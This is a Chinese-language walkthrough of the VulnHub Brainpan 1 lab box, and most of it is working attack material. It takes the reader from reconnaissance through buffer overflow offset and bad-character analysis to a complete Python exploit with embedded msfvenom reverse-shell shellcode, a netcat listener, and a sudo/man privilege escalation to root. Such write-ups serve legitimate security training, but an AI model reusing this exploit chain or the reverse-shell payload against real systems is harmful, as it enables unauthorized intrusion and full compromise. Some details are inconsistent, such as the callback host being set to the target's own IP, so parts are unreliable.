靶机下载地址:https://www.vulnhub.com/entry/brainpan-1,51/
1、信息收集
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.13.140
可以看到开放了10000端口,访问看一下
没看到有攻击点,用dirb做一下目录爆破,发现有个bin目录
dirb http://192.168.13.140:10000
发现一个可执行文件
使用IDM下载到本地
windows测试机IP为:192.168.13.128
immunity debugger工具下载地址为:https://www.immunityinc.com/products/debugger/
将这个exe文件放入windows环境中,然后利用immunity debugger来对其进行分析
直接将exe拖入界面中点击上方导航栏的Run
开启完程序后,EAX值会清零,这时候本地程序会正常运行,并开启9999端口
2、查询偏移量
利用pattern_create.rb生成1000位随机数值
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
修改脚本brainpan1
gedit brainpan1.py
发送1000位随机去覆盖程序
python2 brainpan1.py 192.168.13.128 9999
从左上角黑屏、命令提示符中显示大量的字符串、和右下角的paused(暂停)可以看出程序已崩溃
看到ESP已经被覆盖,得出EIP的值:35724134
成功得到能够使缓冲区溢出的精确的EIP偏移量为:524
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
构建exploit.py脚本,我们在exploit.py脚本中添加windows的IP,结合前面得到的能够使目标程序崩溃的offset值-524个字符大小,得到以下初始脚本
#exploit.py
#!/usr/bin/python
import socket
import sys
ip = ‘192.168.13.128’
port = 9999
offset = 524
buffer = b”A” * offset
retn = b”B” * 4
python3 exploit.py
程序再次崩溃
接下来需要控制EIP,可以通过在 “A” * 524 的末尾添加四个 B 字符来确保能够覆盖 EIP
再次执行exploit.py脚本
python3 exploit.py
查看EIP寄存器值—发现成功覆盖(42424242,字符B对应的十六进制数为0x42)
3、寻找坏字符
首先装一个插件名叫:mona
github项目地址:https://github.com/corelan/mona
C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands
解压之后把mona.py移动到该目录下即可


使用以下mona命令新建一个坏字符数组(记录下生成的数组文件所在路径——即图中红框所标位置)
Binary output saved in c:\mona\brainpan\bytearray.bin
使用以下python代码生成一串与前面的坏字符数组相同的字符串
for x in range(1, 256):
print(“\x” + “{:02x}”.format(x), end=’’)
print()
python3 badchars.py
用以上输出结果修改exploit.py脚本中的payload变量 并再次执行exploit.py脚本使目标程序崩溃,记录下Immunity Debugger中的esp address
pyhon3 exploit.py
此时的ESP地址为005FF910
最后执行mona的比较命令得到坏字符比较结果
!mona compare -f C:\mona\brainpan\bytearray.bin -a 005FF910
根据输出列表—结果显示Unmodified状态,可知坏字符只有”\x00”
4、寻找跃点
接下来要找到一个有效的 JMP ESP 指令地址,以便将目标应用程序的执行流程重定向到恶意shellcode所在位置
在目标exe 处于运行状态或处于崩溃状态时,运行以下 mona jmp 命令,确保使用已经找到的所有坏字符来更新 -cpb 选项即可
!mona jmp -r esp -cpb “\x00”
#JMP ESP 0x311712f3
选择地址0x311712f3,使用小端字节序表示为: \xf3\x12\x17\31—–逆序书写即可,此地址用于填充exp脚本中的retn变量
5、生成最终payload&开始漏洞利用
使用msfvenom命令生成一个排除坏字符的payload (此处选择生成linux反向shell类型的payload;此处ip是本地kali机中的TryHackMe vpn ip)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.13.140 LPORT=4444 -b “\x00” -f py -v payload
#目标机器为Linux系统,所以此处选择的shell类型为 linux/x86/shell_reverse_tcp
#-p 指定负载类型,在本例中为linux/x86/shell_reverse_tcp
#LHOST 指定要连接的本地主机 IP 地址 192.168.13.140
#LPORT 指定要连接的本地机端口
#-f 指定格式
#-b 指定排除坏字符
#-e 指定编码器(此处未设置–最终将使用默认编码器)
#-v 指定用于 shellcode 的变量名
复制以上输出结果到exploit.py脚本的payload变量中,为了稳定,还需要添加NOP
padding = b”\x90” * 16
import socket
import sys
ip = ‘192.168.13.140’
port = 9999
offset = 524
buffer = b”A” * offset
retn = b”\xf3\x12\x17\x31”
padding = b”\x90” * 16
payload = b””
payload += b”\xbb\x5e\xa0\x10\x58\xda\xd5\xd9\x74\x24\xf4”
payload += b”\x58\x29\xc9\xb1\x12\x31\x58\x12\x03\x58\x12”
payload += b”\x83\x9e\xa4\xf2\xad\x2f\x7e\x05\xae\x1c\xc3”
payload += b”\xb9\x5b\xa0\x4a\xdc\x2c\xc2\x81\x9f\xde\x53”
payload += b”\xaa\x9f\x2d\xe3\x83\xa6\x54\x8b\xd3\xf1\xaa”
payload += b”\xca\xbc\x03\xb5\xdd\x60\x8d\x54\x6d\xfe\xdd”
payload += b”\xc7\xde\x4c\xde\x6e\x01\x7f\x61\x22\xa9\xee”
payload += b”\x4d\xb0\x41\x87\xbe\x19\xf3\x3e\x48\x86\xa1”
payload += b”\x93\xc3\xa8\xf5\x1f\x19\xaa”
buffer += retn
buffer += padding
buffer += payload
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(“Sending buffer”)
s.send(buffer + b”\r\n”)
print(“Done!”)
s.close()
except:
print(“Unable to connect to the application.”)
sys.exit()
python3 exploit.py
nc -lvnp 4444
6、权限提升
继续使用获得的shell,输入以下命令使刚才获得的shell稳定化
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
执行刚才找到的SUDO权限程序:
使用该网站进行相关搜索:https://gtfobins.github.io/
利用之前找到的SUDO权限程序执行action——manual [command] ;并以此提升权限到root:
sudo /home/anansi/bin/anansi_util manual man
!/bin/bash